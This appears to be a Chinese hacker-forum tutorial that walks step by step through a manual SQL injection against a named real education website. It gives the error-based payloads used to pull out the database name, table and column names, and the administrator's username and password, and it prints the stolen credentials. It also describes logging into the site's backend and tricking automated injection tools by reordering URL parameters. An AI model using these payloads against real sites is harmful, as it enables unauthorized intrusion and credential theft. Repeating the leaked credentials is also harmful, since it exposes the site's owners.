随着SQL注入工具的增加,通过注入被入侵的网站多了,那些明显存在注入的网站也越来越少。勇哥儿最近搞了个搜索型注入,算是为大家开了一个新战场。可那些用工具找不出的网站,就真的安全吗?其实你找到突破点就会发现,他们的安全性其实更差!我今天就来谈谈混合型的SQL注入问题。
先看这样一个网站:
黑龙江教育在线:
这里面一长串,习惯性在后面加个“'”,正常显示,加上“and1=2”上去也正常显示。
试着在Newsid=3255后面插入“'”,结果报错。
“MicrosoftOLEDBProviderforSQLServer错误'80040e14'
字符串''之前有未闭合的引号。
/gaokao/ReadNews.asp,行13“
明显存在注入,还是SQL库!我一下来了兴趣。因为如果是SA权限的话,可以行系统命令哦。拿出小明子最新工具旁注3.2来进行注入,结果大失所望,提示无法注入。
试了NBSI2,HDSI等多个注入工具,都无法注入。试了一下,在其它几个参数后加入任何注入语句,均正常返回没有反应,所以关键只有一项。于是,试着将后面的参数去掉,变成这样的语句,但仍不行,去掉后网站跟本无法访问。可见其它几项也得与之相匹配。
分析了一下,上面这类网址的ASP?后面跟有多项,各项类型也不完全相同,有的是数字型,有的则是字符型等,混合在一起。比如:=新闻中心&bigclassname=教育信息&smallclassname=教育新闻
我把这种参数合用的情形,暂时称为混合型,而能加入注入语句的往往在第一个,也就是注入只能在中间插入,我称之为插入式注入。目前的工具都无法在中间插入注入语句。其实,在上是容易实现的,将网址从中间分开,把后面一部分作为不变的一个附加附在注入语句后面就可以了。但没有一个工具考虑到这一点,看来大家对这类混合型的注入还没有注意。既然工具不行,我就还是象以前一样用手工注入吧。先看看权限如何?在中间插入注入语句:
Newsid=3255andanduser>0
提交后暴出了如下提示
将nvarchar值'web113483'转换为类型为int的列时发生语法错误。意思是当前用户的名字是“web113483”,看来只是一个普通权限的用户DB_OWNER。
如果暴出的是“将“dbo”转换成int的列发生错误”,则表示当前库用户是SA,那权限就相当大了。顺便说一下,我最先发现的一个就是一个SA权限的网站,但我怕公布。这个网站是我特意找来的。呵呵。
Mssql库的好处就是,不用一个个的猜,可以直接暴出你想要的东东,这里正好复习一下SQL注入的相关语句。
下面就是来暴出库了。在Newsid=3255后面插入“anddb_name()>0”,提交后得到如下结果:
MicrosoftOLEDBProviderforSQLServer错误'80040e07'
将nvarchar值'www_hljedu_net'转换为类型为int的列时发生语法错误。
/gaokao/ReadNews.asp,行13
呵呵,库是www_hljedu_net,要是猜够你猜的了。
接下来当然是暴表了:
在在Newsid=3255后面插入“and(selecttop1namefromwww_hljedu_net.dbo.sysobjectswherextype='U'andstatus>0)>0”
得到如下结果:
将nvarchar值'ReView'转换为类型为int的列时发生语法错误。
这样就暴出了第一个表:ReView。接下来插入“and(selecttop1namefromwww_hljedu_net.dbo.sysobjectswherextype='U'andstatus>0andnamenotin('ReView'))>0”
就得到了第二个表“admin”:将nvarchar值'Admin'转换为类型为int的列时发生语法错误。
依次将得到的表名加入namenotin('ReView','admin')中,可以得到所有的表,当然我们的目标是找管理员,找到了admin就够了。其实还有一种猜的办法,插入“and(seleccount(*)fromadmin)>0”正常返回表示有admin,表。同Access猜表一样。这样就不用一个个暴表。但猜不中时就得暴表了。下面我就用猜的办法试试,插入:and(selectcount(username)fromadmin)>0结果提示出错:“列名'username'无效。”看来猜并不好猜,所以能暴当然要暴了。
插入语句“and(selecttop1col_name(object_id('admin'),1)fromadmin)>0”,提交后,暴出第一个字段名为“ID”。
然后将括号中的1换成2,插入语句“and(selecttop1col_name(object_id('admin'),2)fromadmin)>0”,提交后得到如下结果:
将nvarchar值'AdminUID'转换为类型为int的列时发生语法错误。
同样也得到“AdminPWD”。
如果前面表名字段名因常见可以猜的话,现在要猜用户名和密码就要难得多。因为没有通用的。所以能用暴值法那是一定要用的。
先猜用户名:
插入注入语句:and(selecttop1AdminUIDfromadmin)>0,提交后轻易就暴出了管理员的名字:hljedu。将nvarchar值'hljedu'转换为类型为int的列时发生语法错误。
将上面语句中的AdminUID换成AdminPWD,变成and(selecttop1AdminPWDfromadmin)>0,插入网址中注入后得到密码:hljeduwrp
到此,我们的所有的猜解工作完成了。可以去登陆后台了。什么?你说不知道后台在哪?那这半天工作不是白做了!有不少人光顾搞注入,结果得到密码后才发现找不到后台,英雄无用武之地。我的习惯是一定要先找到后台再才进行注入的。不然有时就是白忙活了。
这个网站的后台最好找了,直接加个admin就出来了。看,我已经进入后台了。
其实,文章到这里应该就完了,手工操作复习了一次SQL的注入技巧。但我仍不甘心,想自己何不编一个可以插入式注入的工具呢。在分析网址特点的时候,突然想到,这些参数是用于查询的,应该是没有严格的先后顺序的,能不能把次序倒一下呢?理论上应该是可行的。成不成得经过测试才能证明。结果倒了顺序后仍能正常访问,而且带来一个最大的好处,注入工具提标可以注入了,使用明小子的工具很快就找出了管理员密码。
唉,早知道这样,何必劳我动手累半天哦。但也引起我的担心,就是网上这样的注入站太多了,而且多是政府网站和新闻网站,我犹豫了一个月,才动手写作。这个网站也是我选择后现抓的图。